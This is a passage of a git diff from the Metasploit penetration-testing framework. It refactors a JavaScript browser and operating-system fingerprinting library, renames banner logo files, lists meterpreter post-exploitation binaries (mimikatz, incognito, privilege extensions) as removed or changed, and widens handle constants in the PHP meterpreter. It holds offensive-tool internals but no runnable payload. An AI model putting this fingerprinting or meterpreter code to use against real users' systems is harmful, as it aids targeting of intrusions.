arch = arch_x86_64; break; + case "20100630174226": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break; + case "20100630180611": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86; break; + case "20100709115208": ua_version = "3.6.7.b1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100709183408": ua_version = "3.6.7.b1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100716093011": ua_version = "3.6.7.b2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; case "20101203075014": ua_version = "3.6.13"; os_name = oses_windows; break; - case "20101206122825": ua_version = "3.6.13"; os_name = oses_linux; os_flavor = "Ubuntu"; break; + case "20101206122825": ua_version = "3.6.13"; os_name = oses_linux; os_vendor = "Ubuntu"; break; case "20110318052756": ua_version = "4.0"; os_name = oses_windows; break; // browsershots: Firefox 4.0 / Windows XP - case "20110420144310": ua_version = "3.5.19"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 3.5.19 / Debian 4.0 (Etch) + case "20110420144310": ua_version = "3.5.19"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 3.5.19 / Debian 4.0 (Etch) case "20110615151330": ua_version = "5.0"; os_name = oses_windows; break; // browsershots: Firefox 5.0 / Windows XP case "20110811165603": ua_version = "6.0"; os_name = oses_windows; break; // browsershots: Firefox 6.0 / Windows XP - case "20110830092941": ua_version = "6.0.1"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 6.0.1 / Debian 4.0 (Etch) + case "20110830092941": ua_version = "6.0.1"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 6.0.1 / Debian 4.0 (Etch) case "20110922153450": ua_version = "7.0"; os_name = oses_windows; break; // browsershots: Firefox 7.0 / Windows XP - case "20110928134238": ua_version = "7.0.1"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 7.0.1 / Debian 4.0 (Etch) + case "20110928134238": ua_version = "7.0.1"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 7.0.1 / Debian 4.0 (Etch) case "20111104165243": ua_version = "8.0"; os_name = oses_windows; break; // browsershots: Firefox 8.0 / Windows XP - case "20111115183813": ua_version = "8.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 8.0 / Ubuntu 9.10 (Karmic Koala) + case "20111115183813": ua_version = "8.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 8.0 / Ubuntu 9.10 (Karmic Koala) case "20111216140209": ua_version = "9.0"; os_name = oses_windows; break; // browsershots: Firefox 9.0 / Windows XP case "20120129021758": ua_version = "10.0"; os_name = oses_windows; break; // browsershots: Firefox 10.0 / Windows 2000 - case "20120201083324": ua_version = "3.5.16"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Iceweasel 3.5.16 / Debian 4.0 (Etch) - case "20120216013254": ua_version = "3.6.27"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 3.6.27 / Debian 4.0 (Etch) - case "20120216100510": ua_version = "10.0.2"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 10.0.2 / Ubuntu 9.10 (Karmic Koala) - case "20120310010316": ua_version = "11.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 11.0 / Ubuntu 9.10 (Karmic Koala) - case "20120310194926": ua_version = "11.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; + case "20120201083324": ua_version = "3.5.16"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Iceweasel 3.5.16 / Debian 4.0 (Etch) + case "20120216013254": ua_version = "3.6.27"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 3.6.27 / Debian 4.0 (Etch) + case "20120216100510": ua_version = "10.0.2"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 10.0.2 / Ubuntu 9.10 (Karmic Koala) + case "20120310010316": ua_version = "11.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 11.0 / Ubuntu 9.10 (Karmic Koala) + case "20120310194926": ua_version = "11.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; case "20120312181643": // It is disconcerting that a buildID is the same on Windows // and Mac, need to examine more versions on Mac. @@ -691,15 +706,15 @@ window.os_detect.getVersion = function(){ os_name = oses_windows; // browsershots: Firefox 11.0 / Windows XP } break; - case "20120314195616": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 12.0 / Debian 4.0 (Etch) - case "20120423142301": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; - case "20120424151700": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Fedora"; break; + case "20120314195616": ua_version = "12.0"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 12.0 / Debian 4.0 (Etch) + case "20120423142301": ua_version = "12.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; + case "20120424151700": ua_version = "12.0"; os_name = oses_linux; os_vendor = "Fedora"; break; default: version = this.searchVersion("Firefox", navigator.userAgent); // Verify whether the ua string is lying by checking if it contains // the major version we detected using known objects above. If it // appears to be truthful, then use its more precise version number. - if (version && version.split(".")[0] == ua_version.split(".")[0]) { + if (version && ua_version && version.split(".")[0] == ua_version.split(".")[0]) { // The version number will sometimes end with a space or end of // line, so strip off anything after a space if one exists if (-1 != version.indexOf(" ")) { @@ -723,64 +738,67 @@ window.os_detect.getVersion = function(){ // share. os_name = oses_windows; ua_name = clients_ie; - version = ScriptEngineMajorVersion().toString(); - version += ScriptEngineMinorVersion().toString(); - version += ScriptEngineBuildVersion().toString(); + version_maj = ScriptEngineMajorVersion().toString(); + version_min = ScriptEngineMinorVersion().toString(); + version_build = ScriptEngineBuildVersion().toString(); + + version = version_maj + version_min + version_build; + //document.write("ScriptEngine: "+version+"
"); switch (version){ case "514615": // IE 5.00.2920.0000, 2000 Advanced Server SP0 English ua_version = "5.0"; - os_flavor = "2000"; + os_name = "Windows 2000"; os_sp = "SP0"; break; case "515907": - os_flavor = "2000"; + os_name = "Windows 2000"; os_sp = "SP3"; //or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109 break; case "518513": - os_flavor = "2000"; + os_name = "Windows 2000"; os_sp = "SP4"; break; case "566626": // IE 6.0.2600.0000, XP SP0 English // IE 6.0.2800.1106, XP SP1 English ua_version = "6.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP0"; break; case "568515": // IE 6.0.3790.0, 2003 Standard SP0 English ua_version = "6.0"; - os_flavor = "2003"; + os_name = "Windows 2003"; os_sp = "SP0"; break; case "568820": // IE 6.0.2900.2180, xp sp2 english - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP2"; break; case "568827": - os_flavor = "2003"; + os_name = "Windows 2003"; os_sp = "SP1"; break; case "568831": //XP SP2 -OR- 2K SP4 - if (os_flavor == "2000"){ + if (os_name == "2000"){ os_sp = "SP4"; } else{ - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP2"; } break; case "568832": - os_flavor = "2003"; + os_name = "Windows 2003"; os_sp = "SP2"; break; case "568837": // IE 6.0.2900.2180, XP Professional SP2 Korean ua_version = "6.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP2"; break; case "5716599": @@ -791,7 +809,7 @@ window.os_detect.getVersion = function(){ // Since this scriptengine applies to more than one major version of // IE, rely on the object detection below to determine ua_version. //ua_version = "6.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP3"; break; case "575730": @@ -806,19 +824,19 @@ window.os_detect.getVersion = function(){ case "5718066": // IE 7.0.5730.13, XP Professional SP3 English ua_version = "7.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP3"; break; case "5722589": // IE 7.0.5730.13, XP Professional SP3 English ua_version = "7.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP3"; break; case "576000": // IE 7.0.6000.16386, Vista Ultimate SP0 English ua_version = "7.0"; - os_flavor = "Vista"; + os_name = "Windows Vista"; os_sp = "SP0"; break; case "580": @@ -830,13 +848,13 @@ window.os_detect.getVersion = function(){ case "5816762": // IE 8.0.7600.16385, Windows 7 English ua_version = "8.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP0"; break; case "5817514": // IE 8.0.7600.17514, Windows 7 SP1 English ua_version = "8.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "5818702": @@ -844,104 +862,109 @@ window.os_detect.getVersion = function(){ case "5822960": // IE 8.0.6001.18702, XP Professional SP3 Greek ua_version = "8.0"; - os_flavor = "XP"; + os_name = "Windows XP"; os_sp = "SP3"; break; case "9016406": // IE 9.0.7930.16406, Windows 7 64-bit ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP0"; break; case "9016441": // IE 9.0.8112.16421, Windows 7 32-bit English ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016443": // IE 9.0.8112.16421, Windows 7 Polish // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016446": // IE 9.0.8112.16421, Windows 7 English (Update Versions: 9.0.7 (KB2699988) // Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2) ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016464": // browsershots.org, MSIE 7.0 / Windows 2008 R2 - os_flavor = "2008R2"; + os_name = "Windows 2008 R2"; ua_version = "9.0"; break; case "9016470": // IE 9.0.8112.16421 / Windows 7 SP1 ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016502": // IE 9.0.8112.16502 / Windows 7 SP1 ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016506": // IE 9.0.8112.16506 / Windows 7 SP1 ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016514": // IE 9.0.8112.16514 / Windows 7 SP1 ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016520": // IE 9.0.8112.16520 / Windows 7 SP1 ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016526": // IE 9.0.8112.16526 / Windows 7 SP1 ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "9016533": // IE 9.0.8112.16533 / Windows 7 SP1 ua_version = "9.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "10016720": // IE 10.0.9200.16721 / Windows 7 SP1 ua_version = "10.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "11016428": // IE 11.0.9600.16428 / Windows 7 SP1 ua_version = "11.0"; - os_flavor = "7"; + os_name = "Windows 7"; os_sp = "SP1"; break; case "10016384": // IE 10.0.9200.16384 / Windows 8 x86 ua_version = "10.0"; - os_flavor = "8"; + os_name = "Windows 8"; os_sp = "SP0"; break; + case "11016426": + // IE 11.0.9600.16476 / KB2898785 (Technically: 11.0.2) Windows 8.1 x86 English + ua_version = "11.0"; + os_name = "Windows 8.1"; + break; case "1000": // IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release ua_version = "10.0"; - os_flavor = "8"; + os_name = "Windows 8"; os_sp = "SP0"; break; default: @@ -1007,7 +1030,7 @@ window.os_detect.getVersion = function(){ if (!os_name && navigator.platform == "Win32") { os_name = oses_windows; } //-- - // Flavor + // Figure out the type of Windows //-- if (!ua_is_lying) { version = useragent.toLowerCase(); @@ -1024,27 +1047,28 @@ window.os_detect.getVersion = function(){ else if (version.indexOf("mac") != -1) { os_name = oses_mac_osx; } else if (version.indexOf("linux") != -1) { os_name = oses_linux; } } - if (os_name == oses_windows && (!os_flavor || 0 == os_flavor.length)) { - if (version.indexOf("windows 95") != -1) { os_flavor = "95"; } - else if (version.indexOf("windows nt 4") != -1) { os_flavor = "NT"; } - else if (version.indexOf("win 9x 4.9") != -1) { os_flavor = "ME"; } - else if (version.indexOf("windows 98") != -1) { os_flavor = "98"; } - else if (version.indexOf("windows nt 5.0") != -1) { os_flavor = "2000"; } - else if (version.indexOf("windows nt 5.1") != -1) { os_flavor = "XP"; } - else if (version.indexOf("windows nt 5.2") != -1) { os_flavor = "2003"; } - else if (version.indexOf("windows nt 6.0") != -1) { os_flavor = "Vista"; } - else if (version.indexOf("windows nt 6.1") != -1) { os_flavor = "7"; } - else if (version.indexOf("windows nt 6.2") != -1) { os_flavor = "8"; } + if (os_name == oses_windows) { + if (version.indexOf("windows 95") != -1) { os_name = "Windows 95"; } + else if (version.indexOf("windows nt 4") != -1) { os_name = "Windows NT"; } + else if (version.indexOf("win 9x 4.9") != -1) { os_name = "Windows ME"; } + else if (version.indexOf("windows 98") != -1) { os_name = "Windows 98"; } + else if (version.indexOf("windows nt 5.0") != -1) { os_name = "Windows 2000"; } + else if (version.indexOf("windows nt 5.1") != -1) { os_name = "Windows XP"; } + else if (version.indexOf("windows nt 5.2") != -1) { os_name = "Windows 2003"; } + else if (version.indexOf("windows nt 6.0") != -1) { os_name = "Windows Vista"; } + else if (version.indexOf("windows nt 6.1") != -1) { os_name = "Windows 7"; } + else if (version.indexOf("windows nt 6.2") != -1) { os_name = "Windows 8"; } + else if (version.indexOf("windows nt 6.3") != -1) { os_name = "Windows 8.1"; } } - if (os_name == oses_linux && (!os_flavor || 0 == os_flavor.length)) { - if (version.indexOf("gentoo") != -1) { os_flavor = "Gentoo"; } - else if (version.indexOf("ubuntu") != -1) { os_flavor = "Ubuntu"; } - else if (version.indexOf("debian") != -1) { os_flavor = "Debian"; } - else if (version.indexOf("rhel") != -1) { os_flavor = "RHEL"; } - else if (version.indexOf("red hat") != -1) { os_flavor = "RHEL"; } - else if (version.indexOf("centos") != -1) { os_flavor = "CentOS"; } - else if (version.indexOf("fedora") != -1) { os_flavor = "Fedora"; } - else if (version.indexOf("android") != -1) { os_flavor = "Android"; } + if (os_name == oses_linux && (!os_vendor || 0 == os_vendor.length)) { + if (version.indexOf("gentoo") != -1) { os_vendor = "Gentoo"; } + else if (version.indexOf("ubuntu") != -1) { os_vendor = "Ubuntu"; } + else if (version.indexOf("debian") != -1) { os_vendor = "Debian"; } + else if (version.indexOf("rhel") != -1) { os_vendor = "RHEL"; } + else if (version.indexOf("red hat") != -1) { os_vendor = "RHEL"; } + else if (version.indexOf("centos") != -1) { os_vendor = "CentOS"; } + else if (version.indexOf("fedora") != -1) { os_vendor = "Fedora"; } + else if (version.indexOf("android") != -1) { os_vendor = "Android"; } } //-- @@ -1102,7 +1126,9 @@ window.os_detect.getVersion = function(){ this.ua_is_lying = ua_is_lying; this.os_name = os_name; + this.os_vendor = os_vendor; this.os_flavor = os_flavor; + this.os_device = os_device; this.os_sp = os_sp; this.os_lang = os_lang; this.arch = arch; @@ -1110,10 +1136,10 @@ window.os_detect.getVersion = function(){ this.ua_version = ua_version; this.ua_version = ua_version; - return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version }; + return { os_name:os_name, os_vendor:os_vendor, os_flavor:os_flavor, os_device:os_device, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version }; }; // function getVersion -window.os_detect.searchVersion = function(needle, haystack) { +os_detect.searchVersion = function(needle, haystack) { var index = haystack.indexOf(needle); var found_version; if (index == -1) { return; } @@ -1129,7 +1155,7 @@ window.os_detect.searchVersion = function(needle, haystack) { /* * Return -1 if a < b, 0 if a == b, 1 if a > b */ -window.ua_ver_cmp = function(ver_a, ver_b) { +ua_ver_cmp = function(ver_a, ver_b) { // shortcut the easy case if (ver_a == ver_b) { return 0; @@ -1173,15 +1199,15 @@ window.ua_ver_cmp = function(ver_a, ver_b) { return 0; }; -window.ua_ver_lt = function(a, b) { +ua_ver_lt = function(a, b) { if (-1 == this.ua_ver_cmp(a,b)) { return true; } return false; }; -window.ua_ver_gt = function(a, b) { +ua_ver_gt = function(a, b) { if (1 == this.ua_ver_cmp(a,b)) { return true; } return false; }; -window.ua_ver_eq = function(a, b) { +ua_ver_eq = function(a, b) { if (0 == this.ua_ver_cmp(a,b)) { return true; } return false; }; diff --git a/lib/msf/ui/logos/3kom-superhack.txt b/data/logos/3kom-superhack.txt similarity index 100% rename from lib/msf/ui/logos/3kom-superhack.txt rename to data/logos/3kom-superhack.txt diff --git a/lib/msf/ui/logos/branded-longhorn.txt b/data/logos/cow-branded-longhorn.txt similarity index 100% rename from lib/msf/ui/logos/branded-longhorn.txt rename to data/logos/cow-branded-longhorn.txt diff --git a/lib/msf/ui/logos/cow-head.txt b/data/logos/cow-head.txt similarity index 100% rename from lib/msf/ui/logos/cow-head.txt rename to data/logos/cow-head.txt diff --git a/lib/msf/ui/logos/cowsay.txt b/data/logos/cowsay.txt similarity index 100% rename from lib/msf/ui/logos/cowsay.txt rename to data/logos/cowsay.txt diff --git a/lib/msf/ui/logos/figlet.txt b/data/logos/figlet.txt similarity index 100% rename from lib/msf/ui/logos/figlet.txt rename to data/logos/figlet.txt diff --git a/lib/msf/ui/logos/i-heart-shells.txt b/data/logos/i-heart-shells.txt similarity index 100% rename from lib/msf/ui/logos/i-heart-shells.txt rename to data/logos/i-heart-shells.txt diff --git a/data/logos/metasploit-park.txt b/data/logos/metasploit-park.txt new file mode 100644 index 0000000000..aa7338960d --- /dev/null +++ b/data/logos/metasploit-park.txt @@ -0,0 +1,17 @@ +%clr%whi + Metasploit Park, System Security Interface + Version 4.0.5, Alpha E + Ready... + > %bldaccess security%clr + access: PERMISSION DENIED. + > %bldaccess security grid%clr + access: PERMISSION DENIED. + > %bldaccess main security grid%clr + access: PERMISSION DENIED....and... + %redYOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD!%clr diff --git a/lib/msf/ui/logos/metasploit-shield.txt b/data/logos/metasploit-shield.txt similarity index 100% rename from lib/msf/ui/logos/metasploit-shield.txt rename to data/logos/metasploit-shield.txt diff --git a/lib/msf/ui/logos/missile-command.txt b/data/logos/missile-command.txt similarity index 100% rename from lib/msf/ui/logos/missile-command.txt rename to data/logos/missile-command.txt diff --git a/lib/msf/ui/logos/ninja.txt b/data/logos/ninja.txt similarity index 100% rename from lib/msf/ui/logos/ninja.txt rename to data/logos/ninja.txt diff --git a/lib/msf/ui/logos/null-pointer-deref.txt b/data/logos/null-pointer-deref.txt similarity index 100% rename from lib/msf/ui/logos/null-pointer-deref.txt rename to data/logos/null-pointer-deref.txt diff --git a/lib/msf/ui/logos/r7-metasploit.txt b/data/logos/r7-metasploit.txt similarity index 100% rename from lib/msf/ui/logos/r7-metasploit.txt rename to data/logos/r7-metasploit.txt diff --git a/lib/msf/ui/logos/wake-up-neo.txt b/data/logos/wake-up-neo.txt similarity index 100% rename from lib/msf/ui/logos/wake-up-neo.txt rename to data/logos/wake-up-neo.txt diff --git a/lib/msf/ui/logos/workflow.txt b/data/logos/workflow.txt similarity index 100% rename from lib/msf/ui/logos/workflow.txt rename to data/logos/workflow.txt diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib old mode 100755 new mode 100644 index 17f9de46f0..7513cc3ae8 Binary files a/data/meterpreter/common.lib and b/data/meterpreter/common.lib differ diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll deleted file mode 100755 index fc4b66cef3..0000000000 Binary files a/data/meterpreter/elevator.x64.dll and /dev/null differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll deleted file mode 100755 index 0c672fe4b5..0000000000 Binary files a/data/meterpreter/elevator.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_android.jar b/data/meterpreter/ext_server_android.jar new file mode 100644 index 0000000000..b6a01cac09 Binary files /dev/null and b/data/meterpreter/ext_server_android.jar differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll deleted file mode 100755 index a48fa5dcd3..0000000000 Binary files a/data/meterpreter/ext_server_espia.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll deleted file mode 100755 index e98f80697d..0000000000 Binary files a/data/meterpreter/ext_server_espia.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll deleted file mode 100755 index d47966210c..0000000000 Binary files a/data/meterpreter/ext_server_extapi.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll deleted file mode 100755 index a98abb1040..0000000000 Binary files a/data/meterpreter/ext_server_extapi.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll deleted file mode 100755 index 76e2634b33..0000000000 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll deleted file mode 100755 index 3767662ee5..0000000000 Binary files a/data/meterpreter/ext_server_incognito.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_kiwi.x64.dll b/data/meterpreter/ext_server_kiwi.x64.dll deleted file mode 100755 index 6344153b82..0000000000 Binary files a/data/meterpreter/ext_server_kiwi.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_kiwi.x86.dll b/data/meterpreter/ext_server_kiwi.x86.dll deleted file mode 100755 index 501034aeff..0000000000 Binary files a/data/meterpreter/ext_server_kiwi.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll deleted file mode 100755 index c1e174c786..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll deleted file mode 100755 index cc78481a50..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll deleted file mode 100755 index dbbf07b3cf..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll deleted file mode 100755 index d722b30e70..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index fef0426930..95eee22e7f 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll deleted file mode 100755 index edbbc7bf72..0000000000 Binary files a/data/meterpreter/ext_server_priv.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll deleted file mode 100755 index 22755d0d58..0000000000 Binary files a/data/meterpreter/ext_server_priv.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index a172634dd1..d7c4ee9956 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index e9e73d42db..383bb0579c 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php index 20cbc03793..e2565f86d0 100755 --- a/data/meterpreter/ext_server_stdapi.php +++ b/data/meterpreter/ext_server_stdapi.php @@ -6,10 +6,10 @@ ## # General ## -define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600); +define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600); define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601); -define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630); -define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631); +define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630); +define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631); ## # Fs @@ -65,7 +65,7 @@ define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2)); define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3)); # Registry -define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000); +define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000); define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY); define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001); define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002); @@ -90,12 +90,12 @@ define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102); define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0)); # Process -define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000); +define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000); define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001); define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002); define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003); define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004); -define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005); +define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005); define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006); define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007); define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008); @@ -109,16 +109,16 @@ define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305); define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400); define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401); define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402); -define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403); -define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404); +define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403); +define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404); define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405); define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406); define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500); define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502); define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510); -define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511); -define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512); +define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511); +define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512); define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513); define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540); @@ -137,7 +137,7 @@ define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002); # Event Log ## define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000); -define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001); +define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001); define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002); 